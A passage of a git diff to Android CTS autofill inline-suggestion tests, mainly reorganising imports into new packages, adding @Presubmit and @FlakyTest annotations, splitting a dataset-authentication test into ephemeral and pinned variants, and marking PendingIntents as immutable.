+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
index 036e744..e0e7662 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
@@ -16,11 +16,12 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 
-import android.autofillservice.cts.DatasetFilteringTest;
-import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.commontests.DatasetFilteringTest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
 
 import org.junit.rules.TestRule;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
index bb81399..3bd55d5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
@@ -18,19 +18,20 @@
 
 import static android.app.Activity.RESULT_CANCELED;
 import static android.app.Activity.RESULT_OK;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.augmented.AugmentedAuthActivity;
-import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
-import android.autofillservice.cts.augmented.AugmentedLoginActivity;
-import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService;
+import android.autofillservice.cts.activities.AugmentedAuthActivity;
+import android.autofillservice.cts.activities.AugmentedLoginActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
 import android.content.IntentSender;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.Dataset;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillValue;
@@ -38,6 +39,7 @@
 
 import org.junit.Test;
 
+@Presubmit
 public class InlineAugmentedAuthTest
         extends AugmentedAutofillAutoActivityLaunchTestCase<AugmentedLoginActivity> {
 
@@ -204,5 +206,11 @@
         mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
         mUiBot.waitForIdle();
         assertThat(unField.getText().toString()).isEqualTo("");
+
+        // Return from the auth activity to login activity, if the login onResume() is prior to
+        // the test finished, there is another FillRequest() will be received. Because it may
+        // notifyViewEntered() in onResume().
+        mUiBot.assertShownByRelativeId(ID_USERNAME);
+        sAugmentedReplier.getNextFillRequest();
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
index 332c645..98d633a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
@@ -16,26 +16,28 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.CLIENT_STATE_KEY;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.CLIENT_STATE_VALUE;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.CLIENT_STATE_KEY;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.CLIENT_STATE_VALUE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.MyAutofillCallback;
-import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
-import android.autofillservice.cts.augmented.AugmentedLoginActivity;
-import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.activities.AugmentedLoginActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.FillEventHistory;
 import android.service.autofill.FillEventHistory.Event;
 import android.view.autofill.AutofillId;
@@ -47,6 +49,7 @@
 
 import java.util.List;
 
+@Presubmit
 public class InlineAugmentedLoginActivityTest
         extends AugmentedAutofillAutoActivityLaunchTestCase<AugmentedLoginActivity> {
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
index 7ebe26d..bae5a21 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -16,27 +16,33 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.MyWebView;
-import android.autofillservice.cts.WebViewActivity;
-import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
-import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
 import android.view.KeyEvent;
 import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
 
+@FlakyTest(bugId = 162372863)
 public class InlineAugmentedWebViewActivityTest extends
         AugmentedAutofillAutoActivityLaunchTestCase<WebViewActivity> {
 
@@ -79,8 +85,14 @@
 
         // Trigger autofill.
         mActivity.getUsernameInput().click();
-        sReplier.getNextFillRequest();
-        sAugmentedReplier.getNextFillRequest();
+
+        final FillRequest autofillRequest = sReplier.getNextFillRequest();
+        AutofillId usernameId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_USERNAME);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+                (AutofillValue) null);
 
         // Assert not shown.
         mUiBot.assertNoDatasetsEver();
@@ -143,7 +155,12 @@
                         .build())
                 .build());
 
-        sAugmentedReplier.getNextFillRequest();
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+                (AutofillValue) null);
+
         final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
 
         // Now Autofill it.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
index b39f549..6a3e697 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
@@ -18,26 +18,28 @@
 
 import static android.app.Activity.RESULT_CANCELED;
 import static android.app.Activity.RESULT_OK;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.UNUSED_AUTOFILL_VALUE;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import android.autofillservice.cts.AbstractLoginActivityTestCase;
-import android.autofillservice.cts.AuthenticationActivity;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.UiBot;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.UiBot;
 import android.content.IntentSender;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
 import org.junit.rules.TestRule;
@@ -74,6 +76,7 @@
      * Activity during the FillResponse authentication flow, we will fallback to dropdown when
      * authentication done and then back to original Activity.
      */
+    @Presubmit
     @Test
     public void testFillResponseAuth_withNewAutofillSessionStartByActivity()
             throws Exception {
@@ -119,6 +122,7 @@
         dropDownUiBot.assertDatasets("Dataset");
     }
 
+    @Presubmit
     @Test
     public void testFillResponseAuth() throws Exception {
         // Set service.
@@ -164,6 +168,7 @@
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testDatasetAuthTwoFields() throws Exception {
         datasetAuthTwoFields(/* cancelFirstAttempt */ false);
@@ -229,79 +234,116 @@
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testDatasetAuthPinnedPresentationSelectedAndAutofilled() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ null, /* isPinned= */true);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthEphemeralIsTrue() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ true, /* isPinned= */false);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthEphemeralIsFalse() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ false, /* isPinned= */false);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthEphemeralNotSet() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ null, /* isPinned= */false);
+    }
+
+    private void testDatasetAuthEphemeralOrPinned(Boolean isEphemeralDataset, boolean isPinned)
+            throws Exception {
         // Set service.
         enableService();
 
         // Prepare the authenticated dataset
         final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
+                        .setField(ID_USERNAME, "dude", null,
+                                Helper.createInlinePresentation("dude"))
+                        .setField(ID_PASSWORD, "sweet", null,
+                                Helper.createInlinePresentation("sweet"))
+                        .build(), null, isEphemeralDataset);
 
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
                         .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, null,
-                                Helper.createPinnedInlinePresentation("auth-pinned"))
+                                isPinned ? Helper.createPinnedInlinePresentation("auth-username")
+                                        : Helper.createInlinePresentation("auth-username"))
                         .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE, null,
-                                Helper.createInlinePresentation("auth-unpinned"))
+                                Helper.createInlinePresentation("auth-password"))
                         .setPresentation(createPresentation("auth"))
                         .setAuthentication(authentication)
                         .build());
         sReplier.addResponse(builder.build());
 
         // Trigger auto-fill, verify seeing dataset.
-        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-username");
         sReplier.getNextFillRequest();
 
         // ...and select the dataset, then check the authentication result is autofilled.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-pinned");
+        mUiBot.selectDataset("auth-username");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
 
-        // Clear the username field, and expect to see the pinned suggestion again, rather than
-        // the one returned from auth intent.
+        // Clear the username field
         mActivity.onUsername((v) -> v.setText(""));
-        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+        final boolean expectOldDataset = isEphemeralDataset == null ? isPinned : isEphemeralDataset;
+        if (!expectOldDataset) {
+            // Expect to see the suggestion returned from auth intent.
+            assertSuggestionShownBySelectViewId(ID_USERNAME, "dude");
+            return;
+        }
 
+        // Below codes are only applicable for the ephemeral case (isEphemeralData is set to true
+        // or isPinned is set to true)
+
+        // Expect to see the old suggestion, rather than the one returned from auth intent.
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-username");
         // Now select the dataset again and verify that the same authentication flow happens.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-pinned");
+        mUiBot.selectDataset("auth-username");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
 
         // Clear the username field, put focus on password field, and then clear the password field,
-        // Expect to see unpinned suggestion.
+        // Expect to see the old suggestion.
         mActivity.onUsername((v) -> v.setText(""));
         mUiBot.selectByRelativeId(ID_PASSWORD);
         mActivity.onPassword((v) -> v.setText(""));
-        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-password");
 
         // Now select the dataset again and verify that the same authentication flow happens.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-unpinned");
+        mUiBot.selectDataset("auth-password");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
 
-        // Clear the password field, and expect to see the unpinned suggestion again, rather than
+        // Clear the password field, and expect to see the old suggestion again, rather than
         // the one returned from auth intent.
         mActivity.onPassword((v) -> v.setText(""));
-        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-password");
 
         // Now select the dataset again and verify that the same authentication flow happens.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-unpinned");
+        mUiBot.selectDataset("auth-password");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testDatasetAuthFilteringUsingRegex() throws Exception {
         // Set service.
@@ -351,6 +393,7 @@
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
         fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
index 595b7ea..49d9fb2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
@@ -16,24 +16,26 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
-import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.testcore.Helper.assertNoDeprecatedClientState;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.FillEventHistoryCommonTestCase;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.autofillservice.cts.LoginActivity;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.commontests.FillEventHistoryCommonTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.FillEventHistory;
 import android.service.autofill.FillEventHistory.Event;
 import android.support.test.uiautomator.UiObject2;
@@ -46,6 +48,7 @@
 /**
  * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
  */
+@Presubmit
 @AppModeFull(reason = "Service-specific test")
 public class InlineFillEventHistoryTest extends FillEventHistoryCommonTestCase {
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index f46dd19..546dae4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -16,14 +16,16 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 
-import android.autofillservice.cts.AbstractLoginActivityTestCase;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
 import org.junit.rules.TestRule;
@@ -33,6 +35,7 @@
  * Tests for inline suggestion filtering. Tests for filtering datasets that need authentication are
  * in {@link InlineAuthenticationTest}.
  */
+@Presubmit
 public class InlineFilteringTest extends AbstractLoginActivityTestCase {
 
     private static final String TAG = "InlineLoginActivityTest";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 3ca3f34..4e3a7a5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -16,15 +16,15 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.Timeouts.MOCK_IME_TIMEOUT_MS;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Timeouts.MOCK_IME_TIMEOUT_MS;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
@@ -34,18 +34,20 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.PendingIntent;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.DummyActivity;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.autofillservice.cts.LoginActivityCommonTestCase;
-import android.autofillservice.cts.NonAutofillableActivity;
-import android.autofillservice.cts.UsernameOnlyActivity;
+import android.autofillservice.cts.activities.DummyActivity;
+import android.autofillservice.cts.activities.NonAutofillableActivity;
+import android.autofillservice.cts.activities.UsernameOnlyActivity;
+import android.autofillservice.cts.commontests.LoginActivityCommonTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.content.Intent;
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.FillContext;
 import android.support.test.uiautomator.Direction;
 
@@ -55,6 +57,7 @@
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
+@Presubmit
 public class InlineLoginActivityTest extends LoginActivityCommonTestCase {
 
     private static final String TAG = "InlineLoginActivityTest";
@@ -244,7 +247,8 @@
         enableService();
 
         Intent intent = new Intent(mContext, DummyActivity.class);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent =
+                PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);
 
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
@@ -420,7 +424,8 @@
         enableService();
 
         Intent intent = new Intent(mContext, DummyActivity.class);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent =
+                PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);
 
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index 42f4f16..da84344 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -16,21 +16,23 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_COMMIT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
